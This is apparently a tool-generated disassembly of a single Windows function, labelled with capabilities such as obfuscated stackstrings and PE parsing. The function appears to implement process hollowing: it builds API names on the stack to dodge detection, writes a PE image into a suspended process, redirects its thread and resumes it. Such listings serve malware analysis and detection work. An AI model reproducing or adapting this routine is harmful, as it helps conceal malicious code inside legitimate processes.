Function at 0x140058a1c
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x78]
sub rsp, 0x150
mov r12, r8
mov rdi, rdx
mov r14, rcx
xor ebx, ebx
mov r13b, bl
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
call fcn.1400561b8
mov esi, eax
mov r15b, byte [rbp + 0xb8]
test r15b, r15b
je 0x140058b10
lea rcx, [rbp - 0x50]
call fcn.140031ff0
nop
mov r9b, byte [rbp + 0xb0]
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x38]
mov ecx, esi
call fcn.140059698
xor esi, esi
test al, al
je 0x140058ae0
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140058ae0
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rbx + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.1400916d8
test eax, eax
je 0x140058ae0
xor r8d, r8d
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x48]
call fcn.140091134
movzx ebx, bl
test eax, eax
lea eax, [rsi + 1]
cmovne ebx, eax
lea rcx, [rbp - 0x50]
call fcn.140032674
test bl, bl
jne 0x140058b12
xor al, al
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor esi, esi
mov dword [rbp - 0x74], 0x32336c65
mov word [rbp - 0x77], 0x7265
mov dword [rbp - 0x70], 0x6c6c642e
mov byte [rbp - 0x78], 0x4b
mov byte [rbp - 0x75], 0x6e
mov byte [rbp - 0x6c], sil
lea rcx, [rbp - 0x78]
call fcn.140091dfc
mov rbx, rax
test rax, rax
je 0x140058aed
mov dword [rbp - 0x61], 0x6f436461
mov dword [rbp - 0x5c], 0x74786574
mov dword [rbp - 0x68], 0x54746553
mov byte [rbp - 0x58], sil
mov word [rbp - 0x64], 0x7268
mov byte [rbp - 0x62], 0x65
mov byte [rbp - 0x5d], 0x6e
lea rdx, [rbp - 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14016b340], rax
mov word [rsp + 0x79], 0x7365
mov word [rsp + 0x7f], 0x7268
mov word [rsp + 0x7c], 0x656d
mov word [rbp - 0x7e], 0x6461
mov byte [rbp - 0x7f], 0x65
mov byte [rsp + 0x7b], 0x75
mov byte [rsp + 0x78], 0x52
mov byte [rsp + 0x7e], 0x54
mov byte [rbp - 0x7c], sil
lea rdx, [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14016b348], rax
mov dword [rsp + 0x69], 0x636f7250
mov word [rsp + 0x63], 0x696d
mov dword [rsp + 0x6d], 0x737365
mov word [rsp + 0x66], 0x7461
mov word [rsp + 0x61], 0x7265
mov byte [rsp + 0x68], 0x65
mov byte [rsp + 0x65], 0x6e
mov byte [rsp + 0x60], 0x54
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14016b350], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x140058e7d
movsxd rbx, dword [r14 + 0x3c]
add rbx, r14
cmp dword [rbx], 0x4550
jne 0x140058e7d
lea rdx, [rbp + 0xb8]
mov rcx, rdi
call fcn.1400919c8
mov ecx, 0x14c
mov eax, dword [rbp + 0xb8]
cmp word [rbx + 4], cx
jne 0x140058c58
test eax, eax
jne 0x140058aed
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x140058c6c
cmp eax, 6
jne 0x140058aed
xor edx, edx
lea r8d, [rdx + 0x18]
lea rcx, [rsp + 0x60]
call fcn.1400cd370
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x20]
call fcn.1400cd370
mov dword [rbp - 0x20], 0x68
mov dword [rbp + 0x1c], 0x101
mov word [rbp + 0x20], si
lea rax, [rsp + 0x60]
xor r9d, r9d
test r15b, r15b
je 0x140058ce8
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r8, r12
mov rdx, rdi
mov rcx, qword [rbp - 0x40]
call fcn.140091414
jmp 0x140058d1a
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], esi
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call fcn.140091324
test eax, eax
je 0x140058e7d
mov r9d, 4
mov r8d, 0x1000
lea r12d, [r9 + 4]
mov edx, r12d
xor ecx, ecx
call fcn.140094468
mov rdi, rax
mov qword [rbp - 0x30], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140092034
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x140058e75
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rsi
mov r9d, r12d
lea r8, [rsp + 0x78]
call fcn.140093244
neg byte [rbp + 0xa8]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
call fcn.140094500
mov qword [rbp - 0x50], rax
mov rcx, qword [rsp + 0x60]
test rax, rax
je 0x140058e75
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], rsi
mov r8, r14
mov rdx, rax
call fcn.1400949a0
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
mov r15d, eax
cmp ax, word [rbx + 6]
jae 0x140058e25
add rsi, rbx
xor edi, edi
lea r12d, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r14
mov edx, dword [rsi - 8]
add rdx, qword [rbp - 0x50]
mov qword [rsp + 0x20], rdi
mov rcx, qword [rsp + 0x60]
call fcn.1400949a0
lea rsi, [rsi + 0x28]
add r15d, r12d
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x140058deb
mov rdi, qword [rbp - 0x30]
mov r12d, 8
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
xor esi, esi
mov qword [rsp + 0x20], rsi
mov r9, r12
lea r8, [rbp - 0x50]
mov rcx, qword [rsp + 0x60]
call fcn.1400949a0
mov eax, dword [rbx + 0x28]
add rax, qword [rbp - 0x50]
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rsp + 0x68]
call qword [0x14016b340]
mov rcx, qword [rsp + 0x68]
call qword [0x14016b348]
lea r13d, [rsi + 1]
jmp 0x140058e7d
xor edx, edx
call qword [0x14016b350]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140058e8f
call fcn.140091650
mov qword [rbp - 0x48], rsi
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140058ea1
call fcn.140090df4
mov qword [rbp - 0x40], rsi
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140058eaf
call fcn.140090df4
mov al, r13b
jmp 0x140058aef